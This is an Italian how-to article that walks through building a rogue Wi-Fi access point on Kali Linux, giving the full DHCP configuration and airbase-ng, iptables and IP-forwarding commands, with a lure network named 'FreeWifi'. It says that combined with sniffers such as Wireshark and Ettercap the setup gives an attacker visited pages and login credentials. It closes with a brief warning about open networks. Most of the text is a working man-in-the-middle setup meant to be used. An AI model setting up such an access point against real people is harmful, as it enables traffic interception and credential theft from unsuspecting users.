Cos’è un Access Point?
Un Access Point (AP) è un dispositivo che, collegato ad una LAN (Local Area Network), permette l’accesso alla rete stessa tramite wireless. Possiamo trovarne uno integrato in qualsiasi moderno router wireless. La maggior parte degli AP seguono gli standard di comunicazione 802.11 imposti dall’IEEE, che permettono loro il collegamento con una gran varietà di dispositivi come laptop, tablet o smartphone.
Emulare un Access Point
Possiamo ricreare un AP con il nostro PC al fine di indurre qualsiasi utente nel raggio d’azione della nostra scheda di rete a collegarsi ad internet attraverso di esso, facendo così passare tutti i dati in transito tra client connessi e server attraverso la nostra macchina. Questa tecnica viene chiamata Fake Access Point o ancora meglio Rogue Access Point (dall’inglese rogue = mascalzone, furfante, canaglia, disonesto).
Per questa guida avremo bisogno di:
- Una connessione internet
- Un PC Linux (personalmente utilizzo Kali Linux), dotato di scheda di rete
- Un adattatore wireless che supporti il monitor mode (per questo tutorial ho utilizzato ALFA AWUS036NH)
Installazione DHCP Server
Installiamo DHCP (Dynamic Host Configuration Protocol), un protocollo di rete a livello applicativo che permette l’assegnazione dinamica di indirizzi IP ai client connessi al nostro Rogue AP.
Per farlo digitiamo da terminale: apt-get install isc-dhcp-server
Una volta installato dovremo configurarlo secondo i parametri che desideriamo conferire all’Access Point. Apriamo con un editor testuale il file di configurazione del demone, situato nel percorso /etc/dhcp/dhcpd.conf e lo modifichiamo aggiungendo le seguenti righe:
# GOOGLE DNS SERVER option domain-name-servers 8.8.8.8, 8.8.4.4; default-lease-time 600; max-lease-time 7200; option T150 code 150 = string; deny client-updates; one-lease-per-client false; allow bootp; ddns-updates off; ddns-update-style none; authoritative; # ROGUE AP NETWORK CONFIGURATION subnet 192.168.2.0 netmask 255.255.255.0 { interface at0; range 192.168.2.2 192.168.2.254; option routers 192.168.2.1; option subnet-mask 255.255.255.0; option broadcast-address 192.168.2.255; option domain-name-servers 8.8.8.8; allow unknown-clients; }
Interfaccia in monitor mode
Supponiamo di avere due interfacce di rete, una cablata (eth0), collegata al router di casa tramite un cavo ethernet, e l’altra, un adattatore wireless (wlan0).
Mettiamo la seconda in monitor mode assicurando la connettività senza fili al punto di accesso.
ifconfig wlan0 down iwconfig wlan0 mode monitor ifconfig wlan0 up
Creazione dell’Access Point
Tramite il tool airbase-ng, incluso nella suite aircrack-ng, creiamo l’AP utilizzando un nome che possa invogliare un utente ad utilizzarlo.
airbase-ng -e "FreeWifi" -c 11 wlan0
Il comando dato in precedenza crea un bridge, un vero e proprio ponte identificato con at0, tra l’interfaccia di rete utilizzata per dare connettività wireless all’AP e quella connessa al router, quindi ad Internet. Impostiamo il bridge secondo i parametri definiti nel file di configurazione del demone DHCP.
ifconfig at0 up ifconfig at0 192.168.2.1 netmask 255.255.255.0
Aggiungiamo il gateway di default per l’AP appena creato alla tabella di routing della nostra macchina.
route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
Lanciamo il demone DHCP con il comando service isc-dhcp-server start
Configurazione del firewall
Utilizziamo iptables, il firewall integrato nel kernel Linux, per instradare i pacchetti provenienti dall’AP verso la scheda di rete connessa ad Internet. Iniziamo resettando iptables.
iptables -F iptables -t nat -F iptables --delete-chain iptables -t nat --delete-chain
Impostiamo le nuove regole.
iptables -P FORWARD ACCEPT iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Abilitare IP Forwarding
Abilitiamo l’IP Forwarding lanciando il comando echo 1 > /proc/sys/net/ipv4/ip_forward
Risultato e conclusioni
L’Access Point con nome FreeWifi è attivo e funzionante! Se proviamo a collegarci ad esso tramite qualsiasi dispositivo, avremo pieno accesso ad Internet. Attraverso il nostro PC possiamo controllare tutto il traffico in transito tra i dispositivi connessi all’AP e la rete. Associato a strumenti per lo sniffing come Wireshark ed Ettercap, dà ad un attaccante il pieno controllo su pagine web visitate, dati vari e credenziali d’accesso a siti internet mettendo a rischio sicurezza e privacy dell’utente.
Dopo aver letto questo articolo, constatato quanto sia semplice cadere nella trappola, continuerete ad utilizzare le reti non protette?